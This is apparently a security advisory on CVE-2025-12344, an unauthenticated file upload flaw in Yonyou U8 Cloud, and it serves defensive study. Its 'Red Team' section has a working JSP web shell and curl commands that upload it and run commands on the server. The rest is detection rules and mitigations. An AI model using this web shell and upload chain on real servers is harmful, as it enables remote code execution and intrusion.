CVE-2025-12344

Executive Summary

CVE-2025-12344 is a critical unrestricted file upload vulnerability affecting Yonyou U8 Cloud, a popular enterprise resource planning (ERP) platform in China. The flaw resides in the /service/NCloudGatewayServlet endpoint, where the ts and sign request parameters are not properly sanitized, allowing an attacker to upload arbitrary files to the server. This can lead to remote code execution (RCE), data exfiltration, or full server compromise. The vulnerability is remotely exploitable without authentication, and a public proof-of-concept (PoC) has been released. The vendor has not responded to disclosure attempts, leaving users at risk.

Supply Chain & Package Security

This vulnerability is not in a package manager ecosystem (NPM, PyPI, Go, Ruby). It is a proprietary enterprise application (Yonyou U8 Cloud). The risk is amplified by the lack of a vendor patch, forcing organizations to rely on compensating controls.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component is the only one affected.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Limited file modification possible.
• Availability Impact: Low (A:L) – Limited service disruption possible.

Threat Level: High (due to public PoC, no patch, and remote exploitation without authentication).

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434) in the Yonyou U8 Cloud application. The endpoint /service/NCloudGatewayServlet processes HTTP requests and handles parameters ts (timestamp) and sign (signature). The flaw lies in the lack of validation on the file content or extension being uploaded. An attacker can craft a multipart HTTP request to upload a malicious file (e.g., a JSP web shell) to the server's web root or a writable directory.

Root Cause: The servlet does not check the file type, size, or content before writing it to disk. The ts and sign parameters are likely used for request authentication but are not properly enforced, allowing bypass.

Attack Flow:

1. Attacker sends a crafted POST request to /service/NCloudGatewayServlet with a multipart form containing a malicious file (e.g., shell.jsp).
2. The servlet processes the request and writes the file to a predictable location (e.g., /uploads/ or /webapps/).
3. Attacker accesses the uploaded file via HTTP, triggering execution (e.g., http://target/uploads/shell.jsp).
4. The web shell provides remote command execution on the server.

Affected Component: The NCloudGatewayServlet class in the Yonyou U8 Cloud application (versions up to 5.1sp).

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (Conceptual Java Servlet):

protected void doPost(HttpServletRequest request, HttpServletResponse response) {
    Part filePart = request.getPart("file");
    String fileName = filePart.getSubmittedFileName();
    // No validation on fileName or file content
    filePart.write("/uploads/" + fileName);
}

Patched Code (Hypothetical):

protected void doPost(HttpServletRequest request, HttpServletResponse response) {
    Part filePart = request.getPart("file");
    String fileName = filePart.getSubmittedFileName();
    // Validate file extension
    if (!fileName.endsWith(".txt") && !fileName.endsWith(".pdf")) {
        response.sendError(403, "File type not allowed");
        return;
    }
    // Validate file content (e.g., magic bytes)
    InputStream is = filePart.getInputStream();
    byte[] magic = new byte[4];
    is.read(magic);
    if (!Arrays.equals(magic, new byte[]{0x25, 0x50, 0x44, 0x46})) { // PDF magic
        response.sendError(403, "Invalid file content");
        return;
    }
    // Store in non-executable directory
    filePart.write("/secure_uploads/" + UUID.randomUUID() + "_" + fileName);
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running Yonyou U8 Cloud (up to 5.1sp).
• Network access to the /service/NCloudGatewayServlet endpoint.

Exploit Steps:

1. Craft a malicious JSP web shell (e.g., cmd.jsp):

   <%@ page import="java.io.*" %>
   <%
   String cmd = request.getParameter("cmd");
   Process p = Runtime.getRuntime().exec(cmd);
   BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
   String line;
   while ((line = br.readLine()) != null) {
       out.println(line);
   }
   %>
   

2. Send the exploit request using curl:

   curl -X POST http://target:8080/service/NCloudGatewayServlet \
     -F "ts=1234567890" \
     -F "sign=abc123" \
     -F "file=@cmd.jsp"
   

3. Access the uploaded shell:

   curl http://target:8080/uploads/cmd.jsp?cmd=id
   

Expected Output: The id command output (e.g., uid=0(root) gid=0(root)).

Blue Team (Defensive)

Detection Steps:

1. Monitor HTTP logs for unusual POST requests to /service/NCloudGatewayServlet with multipart content.
2. Check for unexpected files in web-accessible directories (e.g., /uploads/, /webapps/).
3. Use file integrity monitoring (FIM) to detect new JSP, ASP, or PHP files.
4. Implement a WAF rule to block uploads of executable file types (e.g., .jsp, .asp, .php).

Honeypot Setup:

• Deploy a decoy endpoint mimicking /service/NCloudGatewayServlet to capture attacker payloads.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /service/NCloudGatewayServlet with multipart form data.
  • User-Agent strings not matching typical Yonyou clients.
  • Unusual ts and sign parameter values (e.g., static or predictable).

• File IOCs:

  • Unexpected files in /uploads/, /webapps/, or /tmp/ with extensions .jsp, .jspx, .war, .php.
  • Files named cmd.jsp, shell.jsp, webshell.jsp, or similar.

• Process IOCs:

  • Java processes spawning child processes (e.g., cmd.exe, /bin/sh).

• YARA Rule:

  rule CVE_2025_12344_WebShell {
      meta:
          description = "Detects JSP web shells uploaded via CVE-2025-12344"
          author = "Valters IT"
          date = "2025-04-10"
      strings:
          $jsp_shell = "Runtime.getRuntime().exec" nocase
          $jsp_cmd = "cmd=" nocase
      condition:
          $jsp_shell or $jsp_cmd
  }
  

Detection Engineering

YARA Rule

rule CVE_2025_12344_Upload_Attempt {
    meta:
        description = "Detects HTTP requests attempting to exploit CVE-2025-12344"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $uri = "/service/NCloudGatewayServlet" nocase
        $multipart = "Content-Type: multipart/form-data" nocase
        $file_param = "name=\"file\"" nocase
    condition:
        $uri and $multipart and $file_param
}

Sigma Rule

title: CVE-2025-12344 Unrestricted File Upload Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to the vulnerable NCloudGatewayServlet endpoint with multipart file uploads.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/service/NCloudGatewayServlet'
        cs-content-type: 'multipart/form-data*'
    condition: selection
falsepositives:
    - Legitimate file uploads from Yonyou clients (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-12344 Unrestricted File Upload Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/service/NCloudGatewayServlet"; http.content_type; content:"multipart/form-data"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems from the internet if possible.
2. Implement a Web Application Firewall (WAF) rule to block POST requests to /service/NCloudGatewayServlet with multipart content.
3. Disable the vulnerable servlet by removing or renaming the NCloudGatewayServlet class in the application server (if feasible).

Long-term Fix:

• Since the vendor is unresponsive, consider migrating to a different ERP solution or applying a custom patch:
  • Add input validation to the servlet to restrict file types and extensions.
  • Store uploaded files in a non-executable directory (e.g., outside the web root).
  • Implement file content validation (magic bytes check).

Workaround:

• Use a reverse proxy (e.g., Nginx) to block the vulnerable endpoint:

  location /service/NCloudGatewayServlet {
      deny all;
      return 403;
  }
  

Valters IT